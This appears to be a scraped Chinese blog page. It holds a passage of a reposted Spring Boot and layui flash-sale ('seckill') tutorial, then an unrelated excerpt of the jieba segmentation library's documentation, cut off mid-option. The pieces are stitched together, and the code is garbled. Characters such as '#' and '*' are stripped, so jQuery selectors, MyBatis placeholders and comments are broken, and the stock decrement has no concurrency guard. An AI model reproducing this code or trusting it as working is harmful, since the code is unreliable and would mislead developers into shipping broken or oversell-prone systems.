com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;import com.example.seckill.util.response.ResponseResult;import com.example.seckill.vo.SeckillGoodsVo;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.stereotype.Service;import java.util.List;/ <p> 秒杀商品信息表 服务实现类 </p> @author lv @since 2022-03-19/@Servicepublic class SeckillGoodsServiceImpl extends ServiceImpl<SeckillGoodsMapper, SeckillGoods> implements ISeckillGoodsService {@Autowiredprivate SeckillGoodsMapper seckillGoodsMapper;@Overridepublic ResponseResult<List<SeckillGoodsVo>> queryAll() {List<SeckillGoodsVo> list= seckillGoodsMapper.queryAll();return ResponseResult.success(list);} } controller: SeckillGoodsController: package com.example.seckill.controller;import com.example.seckill.service.ISeckillGoodsService;import com.example.seckill.util.response.ResponseResult;import com.example.seckill.vo.SeckillGoodsVo;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RestController;import java.util.List;/ <p> 秒杀商品信息表 前端控制器 </p> @author lv @since 2022-03-19/@RestController@RequestMapping("/seckillGoods")public class SeckillGoodsController {@Autowiredprivate ISeckillGoodsService seckillGoodsService;@RequestMapping("/queryAll")public ResponseResult<List<SeckillGoodsVo>> queryAll(){return seckillGoodsService.queryAll();} } 得到秒杀商品数据: 3、前端显示数据 ①、编辑跳转秒杀界面 goodList.ftl: <!DOCTYPE html><html lang="en"><head><include "../common/head.ftl"><style>.layui-this{background: deepskyblue !important;}</style></head><body class="layui-container layui-bg-orange"><div class="layui-tab"><ul class="layui-tab-title"><li class="layui-this">普通商品</li><li>秒杀商品</li></ul><-- 普通商品--><div class="layui-tab-content"><div class="layui-tab-item layui-show"><div class="layui-form-item"><label class="layui-form-label">搜索栏</label><div class="layui-input-inline"><input type="text" id="normal_name" name="text" placeholder="请输入搜索内容" class="layui-input"></div><div class="layui-input-inline"><button class="layui-btn layui-btn-primary" id="normal_search">🔍</button><button class="layui-btn layui-btn-primary" id="normal_add">增加</button></div></div><table id="normal_goods" lay-filter="normal_goods"></table><script type="text/html" id="button_1"><a class="layui-btn layui-btn-xs" lay-event="normal_del">删除</a><a class="layui-btn layui-btn-xs" lay-event="normal_edit">编辑</a></script></div><--秒杀界面--><div class="layui-tab-item"><div class="layui-form-item"><label class="layui-form-label">搜索栏</label><div class="layui-input-inline"><input type="text" id="seckill_name" name="text" placeholder="请输入搜索内容" class="layui-input"></div><div class="layui-input-inline"><button class="layui-btn layui-btn-primary" id="seckill_search">🔍</button><button class="layui-btn layui-btn-primary" id="seckill_add">增加</button></div></div><table id="seckill_goods" lay-filter="seckill_goods"></table></div></div></div></div><--引入js--><script src="/static/asset/js/project/goodsList.js"></script></body></html> ②、获取数据 goodList.js: // 秒杀商品let seckill_table=table.render({elem: 'seckill_goods',height: 500,url: '/seckillGoods/queryAll' //数据接口,parseData(res){ //res 即为原始返回的数据return {"code": res.code===200?0:1, //解析接口状态"msg": res.message, //解析提示文本"count": res.total, //解析数据长度"data": res.data //解析数据列表};},cols: [[ //表头{field: 'id', title: '秒杀商品编号', width:80, sort: true},{field: 'goodsId', title: '商品名字id'},{field: 'seckillPrice', title: '秒杀价格'},{field: 'stockCount', title: '秒杀库存'},{field: 'startDate', title: '活动开始时间'},{field: 'endDate', title: '活动结束时间'},{field: 'goodsName', title: '商品名称'}]]}); 呈现界面: 二、秒杀商品添加 1、后端:接收前端添加秒杀商品的数据 ①、实体类vo:SeckillGoodsVo private List<Map<String,Object>> goods; 修改实体类时间的类型:SeckillGoods @ApiModelProperty("秒杀开始时间")@TableField("start_date")@DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss")private Timestamp startDate;@ApiModelProperty("秒杀结束时间")@TableField("end_date")@DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss")private Timestamp endDate; ②、mapper层:SeckillGoodsMapper int addGoods(SeckillGoodsVo seckillGoodsVo); ③、mapper.xml层:SeckillGoodsMapper 批量插入秒杀商品的sql语句: <insert id="addGoods">insert into t_seckill_goods(goods_id, seckill_price, stock_count, start_date, end_date)values<foreach collection="goods" item="g" separator=",">({g.gid},{g.goodsPrice},{g.goodsStock},{startDate},{endDate})</foreach></insert> ④、service层 ISeckillGoodsService: ResponseResult<List<SeckillGoodsVo>> addGoods(SeckillGoodsVo seckillGoodsVo); SeckillGoodsServiceImpl: @Overridepublic ResponseResult<List<SeckillGoodsVo>> addGoods(SeckillGoodsVo seckillGoodsVo) {int goods=seckillGoodsMapper.addGoods(seckillGoodsVo);return ResponseResult.success(goods);} ⑤、controller层 @RequestMapping("/add")public ResponseResult<List<SeckillGoodsVo>> add(@RequestBody SeckillGoodsVo seckillGoodsVo){return seckillGoodsService.addGoods(seckillGoodsVo);} 2、前端 ①、定义数据与刷新、添加 goodsList.js: var layer,row,seckill_table// 添加秒杀商品$("seckill_add").click(()=>{layer.open({type:2,content: '/goods/SeckillGoodsOperate',area: ['800px','600px']})})// 秒杀商品刷新var seckill_reload = ()=> {seckill_table.reload({page:{curr:1 //current} });} var layer,row,seckill_tablelayui.define(()=>{let table=layui.tablelayer=layui.layerlet $=layui.jquerylet normal_table=table.render({elem: 'normal_goods',height: 500,url: '/goods/queryAll' //数据接口,page: true //开启分页,parseData(res){ //res 即为原始返回的数据return {"code": res.code===200?0:1, //解析接口状态"msg": res.message, //解析提示文本"count": res.total, //解析数据长度"data": res.data //解析数据列表};},//用于对分页请求的参数:page、limit重新设定名称request: {pageName: 'page' //页码的参数名称,默认:page,limitName: 'rows' //每页数据量的参数名,默认:limit},cols: [[ //表头{field: 'gid', title: '商品编号', width:80, sort: true, fixed: 'left'},{field: 'goodsName', title: '商品名字'},{field: 'goodsTitle', title: '商品标题'},{field: 'goodsImg',title: '商品图片',width:200,templet: (goods) => <b onmouseover='showImg("${goods.goodsImg}",this)'> + goods.goodsImg + </b> },{field: 'goodsDetail', title: '商品详情'},{field: 'goodsPrice', title: '商品价格', sort: true},{field: 'goodsStock', title: '商品库存', sort: true},{field: 'operate', title: '商品操作',toolbar: 'button_1'}]]});// 刷新表格let reloadTable=()=>{let goodsName=$("normal_value").val()// 【JS】自动化渲染的重载,重载表格normal_table.reload({where: {//设定异步数据接口的额外参数,height: 300goodsName},page:{curr:1 //current} });}// 搜索$("normal_search").click(reloadTable)// 增加$("normal_add").click(()=>{row = nullopenDialog()})//工具条事件table.on('tool(normal_goods)', function(obj) { //注:tool 是工具条事件名,test 是 table 原始容器的属性 lay-filter="对应的值"let data = obj.data; //获得当前行数据let layEvent = obj.event; //获得 lay-event 对应的值(也可以是表头的 event 参数对应的值)let tr = obj.tr; //获得当前行 tr 的 DOM 对象(如果有的话)if (layEvent === 'normal_del') { //删除row = data//获得当前行的数据let url="/goods/del/"+data.gidlayer.confirm('确定删除吗?',{title:'删除'}, function(index){//向服务端发送删除指令og$.getJSON(url,{gid:data.gid}, function(ret){layer.close(index);//关闭弹窗reloadTable()});layer.close(index);//关闭弹窗});}if (layEvent === 'normal_edit') { //编辑row = dataopenDialog()} })// 页面弹出let openDialog=()=>{// 如果是iframe层layer.open({type: 2,content: '/goods/goodsOperate', //这里content是一个URL,如果你不想让iframe出现滚动条,你还可以content: ['http://sentsin.com', 'no']area:['800px','600px'],btn: ['确定','取消'],yes(index,layero){let url="/goods/insert"// 拿到表格数据let data=$(layero).find("iframe")[0].contentWindow.getFormData()if(row) {url="/goods/edit"}$.ajax({url,data,datatype: "json",success(res){layer.closeAll()reloadTable()layer.msg(res.message)} })} });}// -------------------------秒杀商品-------------------------------------------seckill_table=table.render({elem: 'seckill_goods',height: 500,url: '/seckillGoods/queryAll' //数据接口,parseData(res){ //res 即为原始返回的数据return {"code": res.code===200?0:1, //解析接口状态"msg": res.message, //解析提示文本"count": res.total, //解析数据长度"data": res.data //解析数据列表};},cols: [[ //表头{field: 'id', title: '秒杀商品编号', width:80, sort: true},{field: 'goodsId', title: '商品名字id'},{field: 'seckillPrice', title: '秒杀价格'},{field: 'stockCount', title: '秒杀库存'},{field: 'startDate', title: '活动开始时间'},{field: 'endDate', title: '活动结束时间'},{field: 'goodsName', title: '商品名称'}]]});// 添加秒杀商品$("seckill_add").click(()=>{layer.open({type:2,content: '/goods/SeckillGoodsOperate',area: ['800px','600px']})})})// 图片显示let showImg = (src,obj)=> {layer.tips(<img src="${src}" width="100px">, obj);}// 秒杀商品刷新var seckill_reload = ()=> {seckill_table.reload({page:{curr:1 //current} });} ②、增加秒杀商品弹出页面样式 <!DOCTYPE html><html lang="en"><head><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"><link rel="stylesheet" href="/static/asset/js/layui/css/layui.css" media="all"></head><body><div style="padding:15px 0px;"><div class="layui-condition"><form id="fm" name="fm" action="/" method="post" class="layui-form"><div class="layui-form-item"><div class="layui-inline"><label class="layui-form-label" style="width: 100px;text-align: left;">秒杀活动时间:</label><div class="layui-input-inline" style="width:280px;"><input type="text" class="layui-input" id="dt"></div><div class="layui-input-inline"><button class="layui-btn" id="btn_save" type="button"><i class="fa fa-search fa-right"></i>保 存</button></div></div></div></form></div><div class="layui-fluid" style="margin-top:-18px;"><table id="tb_goods" class="layui-table" lay-filter="tb_goods" style="margin-top:-5px;"></table></div></div><script src="/static/asset/js/layui/layui.js"></script><script src="/static/asset/js/project/seckillGoodsOperate.js"></script></body></html> ③、实现增加秒杀商品 seckillGoodsOperate.js: layui.define(()=>{let table=layui.tablelet laydate = layui.laydatelet $=layui.jquerylet layer=layui.layer// 读取普通商品table.render({elem: 'tb_goods',height: 500,url: '/goods/queryAll' //数据接口,page: true //开启分页,parseData(res){ //res 即为原始返回的数据return {"code": res.code===200?0:1, //解析接口状态"msg": res.message, //解析提示文本"count": res.total, //解析数据长度"data": res.data //解析数据列表};},//用于对分页请求的参数:page、limit重新设定名称request: {pageName: 'page' //页码的参数名称,默认:page,limitName: 'rows' //每页数据量的参数名,默认:limit},cols: [[ //表头// 全选按钮{field: '', type:"checkbox"},{field: 'gid', title: '商品编号', width:80},{field: 'goodsName', title: '商品名字'},{field: 'goodsTitle', title: '商品标题'},{field: 'goodsDetail', title: '商品详情'},{field: 'goodsPrice', title: '商品价格', sort: true},{field: 'goodsStock', title: '商品库存', sort: true}]]});// 构建时间选择器//执行一个laydate实例laydate.render({elem: 'dt', //指定元素type: "datetime",range: "~"});$("btn_save").click(()=>{// 获取时间let val=$("dt").val()if(!val){layer.msg("请选择时间")return}// 解析时间2022-2-2 ~2022-5-2let startDate=new Date(val.split("~")[0]).getTime()let endDate=new Date(val.split("~")[1]).getTime()// 获得选中的普通商品,获取选中行的数据let rows= table.checkStatus('tb_goods').data; //idTest 即为基础参数 id 对应的值if(!rows||rows.length===0){layer.msg("请选择数据")return}layer.prompt(function(value, index, elem){// 修改每个商品的数量rows.forEach(e=>{e.goodsStock=value})let data={startDate,endDate,goods:rows}// 访问后台的秒杀商品的接口$.ajax({url: "/seckillGoods/add",contentType:'application/json',data: JSON.stringify(data),datatype:"json",//返回类型type:"post",success(res){parent.seckill_reload()layer.closeAll()parent.layer.closeAll()layer.msg(res.message)} })});})}) ④、展示结果 增加成功: 三、秒杀商品的操作 1、后端操作秒杀单个商品详情 ①、mapper层 SeckillGoodsMapper: Map<String,Object> querySeckillGoodsById(Long id); mapper.xml文件:SeckillGoodsMapper.xml <select id="querySeckillGoodsById" resultType="map">select sg.id,sg.goods_id,sg.seckill_price,sg.stock_count,sg.start_date,sg.end_date,g.goods_img,g.goods_title,g.goods_detail,g.goods_name,(casewhen current_timestamp < sg.start_date then 0when (current_timestamp between sg.start_date and sg.end_date) then 1when current_timestamp > sg.end_date then 2end) goods_statusfrom t_goods g,t_seckill_goods sgwhere g.gid = sg.goods_idand sg.id = {0}</select> ②、service层 ISeckillGoodsService: Map<String,Object> querySeckillGoodsById(Long id); SeckillGoodsServiceImpl: @Overridepublic Map<String, Object> querySeckillGoodsById(Long id) {return seckillGoodsMapper.querySeckillGoodsById(id);} ③、controller层:SeckillGoodsController package com.example.seckill.controller;import com.example.seckill.service.ISeckillGoodsService;import com.example.seckill.util.response.ResponseResult;import com.example.seckill.vo.SeckillGoodsVo;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.;import org.springframework.web.servlet.ModelAndView;import java.util.List;/ <p> 秒杀商品信息表 前端控制器 </p> @author lv @since 2022-03-19/@Controller@RequestMapping("/seckillGoods")public class SeckillGoodsController {@Autowiredprivate ISeckillGoodsService seckillGoodsService;// 返回json@ResponseBody@RequestMapping("/queryAll")public ResponseResult<List<SeckillGoodsVo>> queryAll(){return seckillGoodsService.queryAll();}@ResponseBody@RequestMapping("/add")public ResponseResult<List<SeckillGoodsVo>> add(@RequestBody SeckillGoodsVo seckillGoodsVo){return seckillGoodsService.addGoods(seckillGoodsVo);}// 正常跳转界面@RequestMapping("/query/{id}")public ModelAndView querySeckillGoodsById(@PathVariable("id") Long id) {ModelAndView mv = new ModelAndView("/goods/goodsSeckill");mv.addObject("goods", seckillGoodsService.querySeckillGoodsById(id));return mv;} } 2、前端展示 ①、在goodsList.js增加列的操作 {field: '', title: '操作', width: 140,templet: function (d) {return <div><a class="layui-btn layui-btn-xs layui-btn-danger">删除</a><a href="/seckillGoods/query/${d.id}" class="layui-btn layui-btn-xs layui-btn-normal">秒杀</a></div>;} } ②、添加秒杀详情界面 :goodsSkill.ftl <!DOCTYPE html><html lang="en"><head><include "../common/head.ftl"/></head><body><table style="position: absolute;top:-10px;" class="layui-table" border="1" cellpadding="0" cellspacing="0"><tr><td style="width:120px;">商品图片</td><td><img src="${goods['goods_img']}" alt=""></td></tr><tr><td>商品名称</td><td>${goods['goods_name']}</td></tr><tr><td>商品标题</td><td>${goods['goods_title']}</td></tr><tr><td>商品价格</td><td>${goods['seckill_price']}</td></tr><tr><td>开始时间</td><td><div style="position: relative;${(goods['goods_status']==1)?string('top:10px;','')}">${goods['start_date']?string("yyyy-MM-dd HH:mm:ss")}-${goods['end_date']?string("yyyy-MM-dd HH:mm:ss")}<if goods['goods_status']==0>活动未开始<elseif goods['goods_status']==1>活动热卖中<div style="position:relative;top:-10px;float:right;"><input type="hidden" id="goodsId" value="${goods['goods_id']}" name="goodsId"/><button class="layui-btn" id="buy">立即抢购</button></div><else>活动已结束</if></div></td></tr></table><script src="/static/asset/js/project/goodsSeckill.js"></script></body></html> ③、实现:goodsSkill.js let layer, form, $;layui.define(() => {layer = layui.layerform = layui.form$ = layui.jquery$('buy').click(() => {$.ajax({url: '/seckillOrder/addOrder',data: {goodsId: $('goodsId').val()},dataType: 'json',type: 'post',async: false,success: function (rs) {if (rs.code === 200)layer.msg(rs.message)elselayer.msg(rs.message)} })});}) ④、展示效果 点击秒杀: 3、后端操作秒杀抢购功能 ①、导入雪花id工具包:SnowFlake package com.example.seckill.util;@SuppressWarnings("all")public class SnowFlake {/ 起始的时间戳/private final static long START_STMP = 1480166465631L;/ 每一部分占用的位数/private final static long SEQUENCE_BIT = 12; //序列号占用的位数private final static long MACHINE_BIT = 5; //机器标识占用的位数private final static long DATACENTER_BIT = 5;//数据中心占用的位数/ 每一部分的最大值/private final static long MAX_DATACENTER_NUM = -1L ^ (-1L << DATACENTER_BIT);private final static long MAX_MACHINE_NUM = -1L ^ (-1L << MACHINE_BIT);private final static long MAX_SEQUENCE = -1L ^ (-1L << SEQUENCE_BIT);/ 每一部分向左的位移/private final static long MACHINE_LEFT = SEQUENCE_BIT;private final static long DATACENTER_LEFT = SEQUENCE_BIT + MACHINE_BIT;private final static long TIMESTMP_LEFT = DATACENTER_LEFT + DATACENTER_BIT;private long datacenterId; //数据中心private long machineId; //机器标识private long sequence = 0L; //序列号private long lastStmp = -1L;//上一次时间戳public SnowFlake(long datacenterId, long machineId) {if (datacenterId > MAX_DATACENTER_NUM || datacenterId < 0) {throw new IllegalArgumentException("datacenterId can't be greater than MAX_DATACENTER_NUM or less than 0");}if (machineId > MAX_MACHINE_NUM || machineId < 0) {throw new IllegalArgumentException("machineId can't be greater than MAX_MACHINE_NUM or less than 0");}this.datacenterId = datacenterId;this.machineId = machineId;}public static void main(String[] args) {SnowFlake snowFlake = new SnowFlake(2, 3);long start = System.currentTimeMillis();for (int i = 0; i < 1000000; i++) {System.out.println(snowFlake.nextId());}System.out.println(System.currentTimeMillis() - start);}/ 产生下一个ID @return/public synchronized long nextId() {long currStmp = getNewstmp();if (currStmp < lastStmp) {throw new RuntimeException("Clock moved backwards. Refusing to generate id");}if (currStmp == lastStmp) {//相同毫秒内,序列号自增sequence = (sequence + 1) & MAX_SEQUENCE;//同一毫秒的序列数已经达到最大if (sequence == 0L) {currStmp = getNextMill();} } else {//不同毫秒内,序列号置为0sequence = 0L;}lastStmp = currStmp;return (currStmp - START_STMP) << TIMESTMP_LEFT //时间戳部分| datacenterId << DATACENTER_LEFT //数据中心部分| machineId << MACHINE_LEFT //机器标识部分| sequence; //序列号部分}private long getNextMill() {long mill = getNewstmp();while (mill <= lastStmp) {mill = getNewstmp();}return mill;}private long getNewstmp() {return System.currentTimeMillis();} } ②、service层 ISeckillOrderService : package com.example.seckill.service;import com.example.seckill.pojo.SeckillOrder;import com.baomidou.mybatisplus.extension.service.IService;import com.example.seckill.pojo.User;import com.example.seckill.util.response.ResponseResult;/ <p> 秒杀订单信息表 服务类 </p> @author lv @since 2022-03-19/public interface ISeckillOrderService extends IService<SeckillOrder> {ResponseResult<?> addOrder(Long goodsId, User user);} SeckillOrderServiceImpl : package com.example.seckill.service.impl;import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;import com.baomidou.mybatisplus.core.conditions.update.UpdateWrapper;import com.example.seckill.exception.BusinessException;import com.example.seckill.mapper.GoodsMapper;import com.example.seckill.mapper.OrderMapper;import com.example.seckill.mapper.SeckillGoodsMapper;import com.example.seckill.pojo.;import com.example.seckill.mapper.SeckillOrderMapper;import com.example.seckill.service.ISeckillOrderService;import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;import com.example.seckill.util.SnowFlake;import com.example.seckill.util.response.ResponseResult;import com.example.seckill.util.response.ResponseResultCode;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.stereotype.Service;import org.springframework.transaction.annotation.Transactional;/ <p> 秒杀订单信息表 服务实现类 </p> @author lv @since 2022-03-19/@Servicepublic class SeckillOrderServiceImpl extends ServiceImpl<SeckillOrderMapper, SeckillOrder> implements ISeckillOrderService {@Autowiredprivate SeckillGoodsMapper seckillGoodsMapper;@Autowiredprivate GoodsMapper goodsMapper;@Autowiredprivate OrderMapper orderMapper;@Transactional(rollbackFor = Exception.class)@Overridepublic ResponseResult<?> addOrder(Long goodsId, User user) {// 下单前判断库存数SeckillGoods goods = seckillGoodsMapper.selectOne(new QueryWrapper<SeckillGoods>().eq("goods_id", goodsId));if (goods == null) {throw new BusinessException(ResponseResultCode.SECKILL_ORDER_ERROR);}if (goods.getStockCount() < 1) {throw new BusinessException(ResponseResultCode.SECKILL_ORDER_ERROR);}// 限购SeckillOrder one = this.getOne(new QueryWrapper<SeckillOrder>().eq("user_id", user.getId()).eq("goods_id", goodsId));if (one != null) {throw new BusinessException(ResponseResultCode.SECKILL_ORDER_EXISTS_ERROR);}// 库存减一int i = seckillGoodsMapper.update(null, new UpdateWrapper<SeckillGoods>().eq("goods_id", goodsId).setSql("stock_count=stock_count-1"));// 根据商品编号查询对应的商品(拿名字)Goods goodsInfo = goodsMapper.selectOne(new QueryWrapper<Goods>().eq("gid", goodsId));// 生成订单//生成雪花idSnowFlake snowFlake = new SnowFlake(5, 9);long id = snowFlake.nextId();//生成对应的订单Order normalOrder = new Order();normalOrder.setOid(id);normalOrder.setUserId(user.getId());normalOrder.setGoodsId(goodsId);normalOrder.setGoodsName(goodsInfo.getGoodsName());normalOrder.setGoodsCount(1);normalOrder.setGoodsPrice(goods.getSeckillPrice());orderMapper.insert(normalOrder);//生成秒杀订单SeckillOrder seckillOrder = new SeckillOrder();seckillOrder.setUserId(user.getId());seckillOrder.setOrderId(normalOrder.getOid());seckillOrder.setGoodsId(goodsId);this.save(seckillOrder);return ResponseResult.success();} } ③、controller层 SeckillOrderController : package com.example.seckill.controller;import com.example.seckill.pojo.User;import com.example.seckill.service.ISeckillOrderService;import com.example.seckill.util.response.ResponseResult;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RestController;/ <p> 秒杀订单信息表 前端控制器 </p> @author lv @since 2022-03-19/@RestController@RequestMapping("/seckillOrder")public class SeckillOrderController {@Autowiredprivate ISeckillOrderService seckillOrderService;@RequestMapping("/addOrder")public ResponseResult<?> addOrder(Long goodsId, User user){return seckillOrderService.addOrder(goodsId,user);} } ④、呈现结果 限购次数: 本期内容结束,下期内容更完善!!!!!!!!!!!!!!!!!!!!!1 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_60389087/article/details/123601288。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-02-25 23:20:34
122
转载
转载文章
...符串,可能无法预料地错误解码成 UTF-8 jieba.cut 以及 jieba.cut_for_search 返回的结构都是一个可迭代的 generator,可以使用 for 循环来获得分词后得到的每一个词语(unicode),或者用 jieba.lcut 以及 jieba.lcut_for_search 直接返回 list jieba.Tokenizer(dictionary=DEFAULT_DICT) 新建自定义分词器,可用于同时使用不同词典。jieba.dt 为默认分词器,所有全局分词相关函数都是该分词器的映射。 代码示例 encoding=utf-8import jiebajieba.enable_paddle() 启动paddle模式。 0.40版之后开始支持,早期版本不支持strs=["我来到北京清华大学","乒乓球拍卖完了","中国科学技术大学"]for str in strs:seg_list = jieba.cut(str,use_paddle=True) 使用paddle模式print("Paddle Mode: " + '/'.join(list(seg_list)))seg_list = jieba.cut("我来到北京清华大学", cut_all=True)print("Full Mode: " + "/ ".join(seg_list)) 全模式seg_list = jieba.cut("我来到北京清华大学", cut_all=False)print("Default Mode: " + "/ ".join(seg_list)) 精确模式seg_list = jieba.cut("他来到了网易杭研大厦") 默认是精确模式print(", ".join(seg_list))seg_list = jieba.cut_for_search("小明硕士毕业于中国科学院计算所,后在日本京都大学深造") 搜索引擎模式print(", ".join(seg_list)) 输出: 【全模式】: 我/ 来到/ 北京/ 清华/ 清华大学/ 华大/ 大学【精确模式】: 我/ 来到/ 北京/ 清华大学【新词识别】:他, 来到, 了, 网易, 杭研, 大厦 (此处,“杭研”并没有在词典中,但是也被Viterbi算法识别出来了)【搜索引擎模式】: 小明, 硕士, 毕业, 于, 中国, 科学, 学院, 科学院, 中国科学院, 计算, 计算所, 后, 在, 日本, 京都, 大学, 日本京都大学, 深造 添加自定义词典 载入词典 开发者可以指定自己自定义的词典,以便包含 jieba 词库里没有的词。虽然 jieba 有新词识别能力,但是自行添加新词可以保证更高的正确率 用法: jieba.load_userdict(file_name) file_name 为文件类对象或自定义词典的路径 词典格式和 dict.txt 一样,一个词占一行;每一行分三部分:词语、词频(可省略)、词性(可省略),用空格隔开,顺序不可颠倒。file_name 若为路径或二进制方式打开的文件,则文件必须为 UTF-8 编码。 词频省略时使用自动计算的能保证分出该词的词频。 例如: 创新办 3 i云计算 5凱特琳 nz台中 更改分词器(默认为 jieba.dt)的 tmp_dir 和 cache_file 属性,可分别指定缓存文件所在的文件夹及其文件名,用于受限的文件系统。 范例: 自定义词典:https://github.com/fxsjy/jieba/blob/master/test/userdict.txt 用法示例:https://github.com/fxsjy/jieba/blob/master/test/test_userdict.py 之前: 李小福 / 是 / 创新 / 办 / 主任 / 也 / 是 / 云 / 计算 / 方面 / 的 / 专家 / 加载自定义词库后: 李小福 / 是 / 创新办 / 主任 / 也 / 是 / 云计算 / 方面 / 的 / 专家 / 调整词典 使用 add_word(word, freq=None, tag=None) 和 del_word(word) 可在程序中动态修改词典。 使用 suggest_freq(segment, tune=True) 可调节单个词语的词频,使其能(或不能)被分出来。 注意:自动计算的词频在使用 HMM 新词发现功能时可能无效。 代码示例: >>> print('/'.join(jieba.cut('如果放到post中将出错。', HMM=False)))如果/放到/post/中将/出错/。>>> jieba.suggest_freq(('中', '将'), True)494>>> print('/'.join(jieba.cut('如果放到post中将出错。', HMM=False)))如果/放到/post/中/将/出错/。>>> print('/'.join(jieba.cut('「台中」正确应该不会被切开', HMM=False)))「/台/中/」/正确/应该/不会/被/切开>>> jieba.suggest_freq('台中', True)69>>> print('/'.join(jieba.cut('「台中」正确应该不会被切开', HMM=False)))「/台中/」/正确/应该/不会/被/切开 “通过用户自定义词典来增强歧义纠错能力” — https://github.com/fxsjy/jieba/issues/14 关键词提取 基于 TF-IDF 算法的关键词抽取 import jieba.analyse jieba.analyse.extract_tags(sentence, topK=20, withWeight=False, allowPOS=()) sentence 为待提取的文本 topK 为返回几个 TF/IDF 权重最大的关键词,默认值为 20 withWeight 为是否一并返回关键词权重值,默认值为 False allowPOS 仅包括指定词性的词,默认值为空,即不筛选 jieba.analyse.TFIDF(idf_path=None) 新建 TFIDF 实例,idf_path 为 IDF 频率文件 代码示例 (关键词提取) https://github.com/fxsjy/jieba/blob/master/test/extract_tags.py 关键词提取所使用逆向文件频率(IDF)文本语料库可以切换成自定义语料库的路径 用法: jieba.analyse.set_idf_path(file_name) file_name为自定义语料库的路径 自定义语料库示例:https://github.com/fxsjy/jieba/blob/master/extra_dict/idf.txt.big 用法示例:https://github.com/fxsjy/jieba/blob/master/test/extract_tags_idfpath.py 关键词提取所使用停止词(Stop Words)文本语料库可以切换成自定义语料库的路径 用法: jieba.analyse.set_stop_words(file_name) file_name为自定义语料库的路径 自定义语料库示例:https://github.com/fxsjy/jieba/blob/master/extra_dict/stop_words.txt 用法示例:https://github.com/fxsjy/jieba/blob/master/test/extract_tags_stop_words.py 关键词一并返回关键词权重值示例 用法示例:https://github.com/fxsjy/jieba/blob/master/test/extract_tags_with_weight.py 基于 TextRank 算法的关键词抽取 jieba.analyse.textrank(sentence, topK=20, withWeight=False, allowPOS=(‘ns’, ‘n’, ‘vn’, ‘v’)) 直接使用,接口相同,注意默认过滤词性。 jieba.analyse.TextRank() 新建自定义 TextRank 实例 算法论文: TextRank: Bringing Order into Texts 基本思想: 将待抽取关键词的文本进行分词 以固定窗口大小(默认为5,通过span属性调整),词之间的共现关系,构建图 计算图中节点的PageRank,注意是无向带权图 使用示例: 见 test/demo.py 词性标注 jieba.posseg.POSTokenizer(tokenizer=None) 新建自定义分词器,tokenizer 参数可指定内部使用的 jieba.Tokenizer 分词器。jieba.posseg.dt 为默认词性标注分词器。 标注句子分词后每个词的词性,采用和 ictclas 兼容的标记法。 除了jieba默认分词模式,提供paddle模式下的词性标注功能。paddle模式采用延迟加载方式,通过enable_paddle()安装paddlepaddle-tiny,并且import相关代码; 用法示例 >>> import jieba>>> import jieba.posseg as pseg>>> words = pseg.cut("我爱北京天安门") jieba默认模式>>> jieba.enable_paddle() 启动paddle模式。 0.40版之后开始支持,早期版本不支持>>> words = pseg.cut("我爱北京天安门",use_paddle=True) paddle模式>>> for word, flag in words:... print('%s %s' % (word, flag))...我 r爱 v北京 ns天安门 ns paddle模式词性标注对应表如下: paddle模式词性和专名类别标签集合如下表,其中词性标签 24 个(小写字母),专名类别标签 4 个(大写字母)。 标签 含义 标签 含义 标签 含义 标签 含义 n 普通名词 f 方位名词 s 处所名词 t 时间 nr 人名 ns 地名 nt 机构名 nw 作品名 nz 其他专名 v 普通动词 vd 动副词 vn 名动词 a 形容词 ad 副形词 an 名形词 d 副词 m 数量词 q 量词 r 代词 p 介词 c 连词 u 助词 xc 其他虚词 w 标点符号 PER 人名 LOC 地名 ORG 机构名 TIME 时间 并行分词 原理:将目标文本按行分隔后,把各行文本分配到多个 Python 进程并行分词,然后归并结果,从而获得分词速度的可观提升 基于 python 自带的 multiprocessing 模块,目前暂不支持 Windows 用法: jieba.enable_parallel(4) 开启并行分词模式,参数为并行进程数 jieba.disable_parallel() 关闭并行分词模式 例子:https://github.com/fxsjy/jieba/blob/master/test/parallel/test_file.py 实验结果:在 4 核 3.4GHz Linux 机器上,对金庸全集进行精确分词,获得了 1MB/s 的速度,是单进程版的 3.3 倍。 注意:并行分词仅支持默认分词器 jieba.dt 和 jieba.posseg.dt。 Tokenize:返回词语在原文的起止位置 注意,输入参数只接受 unicode 默认模式 result = jieba.tokenize(u'永和服装饰品有限公司')for tk in result:print("word %s\t\t start: %d \t\t end:%d" % (tk[0],tk[1],tk[2])) word 永和 start: 0 end:2word 服装 start: 2 end:4word 饰品 start: 4 end:6word 有限公司 start: 6 end:10 搜索模式 result = jieba.tokenize(u'永和服装饰品有限公司', mode='search')for tk in result:print("word %s\t\t start: %d \t\t end:%d" % (tk[0],tk[1],tk[2])) word 永和 start: 0 end:2word 服装 start: 2 end:4word 饰品 start: 4 end:6word 有限 start: 6 end:8word 公司 start: 8 end:10word 有限公司 start: 6 end:10 ChineseAnalyzer for Whoosh 搜索引擎 引用: from jieba.analyse import ChineseAnalyzer 用法示例:https://github.com/fxsjy/jieba/blob/master/test/test_whoosh.py 命令行分词 使用示例:python -m jieba news.txt > cut_result.txt 命令行选项(翻译): 使用: python -m jieba [options] filename结巴命令行界面。固定参数:filename 输入文件可选参数:-h, --help 显示此帮助信息并退出-d [DELIM], --delimiter [DELIM]使用 DELIM 分隔词语,而不是用默认的' / '。若不指定 DELIM,则使用一个空格分隔。-p [DELIM], --pos [DELIM]启用词性标注;如果指定 DELIM,词语和词性之间用它分隔,否则用 _ 分隔-D DICT, --dict DICT 使用 DICT 代替默认词典-u USER_DICT, --user-dict 